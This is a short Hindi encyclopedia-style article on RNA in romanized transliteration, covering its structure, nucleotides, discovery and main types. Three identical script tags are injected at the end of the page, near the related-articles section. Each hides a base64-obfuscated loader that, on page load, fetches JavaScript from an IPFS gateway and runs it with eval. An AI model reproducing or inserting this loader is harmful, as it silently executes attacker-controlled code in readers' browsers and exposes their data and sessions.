आरएनए

raibo nyooklik aml (aangrezi: Ribo Nucleic Acid or RNA) ek akeli bahu nyookliyotaid shriankhala vala lamba tantunuma anu hai, jisamean ph aausphet aur raiboz sharkara ki ikaiyaan ekaantar mean sthapit hoti haian. diene ki tarah arene mean bhi raiboz se ju de char ksharak hote haian. aantar keval itana hai ki isamean thaimin ke sthan par yooresil hota hai.

raeebonyookliyotaid ke prakar

arene ekal p aauliraeebonyookliyotaid shrriankhala ka bana hota hai. isamean raeebonyookliyosaid tatha raeebonyookliyotaid hote hai. raeebonyookliyotaid char prakar ke hote haian-

1. edinilik aml
2. gvanilik aml
3. saeetidilik aml
4. yuridilik aml

kisi bhi jivit prani ke sharir mean arene bhi utani hi mahatvapoorn bhoomika nibhata hai, jitani diene. arene sharir mean diene ke jins ko nakal kar vyapak taur par pravahit karane ka kam karata hai. isake sath hi yah koshikaoan mean any anuvaanshik samagri pahuanchane mean bhi sahayak hota hai.

khoj tatha kary

arene ki khoj severo okoa, r aaubart h aauli aur karl vose ne ki thi. arene ke mahattvapoorn karyoan mean jin ko sucharoo banana aur unaki pratiyaan taiyar karana hota hai. yah vibhinn prakar ke protinoan ko jo dane ka bhi kary karata hai. isaki kee kismean hoti haian, jinamean ribosomal arene, traansaphar arene aur maiseanjar arene pramukh haian. arene ki shrriankhala ph aausphets aur raibos ke samoohoan se milakar banati hai, jisase isake char mool tatv, edenain, saitosain, guanain aur yooresil ju de hote haian. diene se viparit, arene ekal shrriankhala hoti hai, jisaki madad se yah khud ko koshika ke sankare akar mean samahit kar leta hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>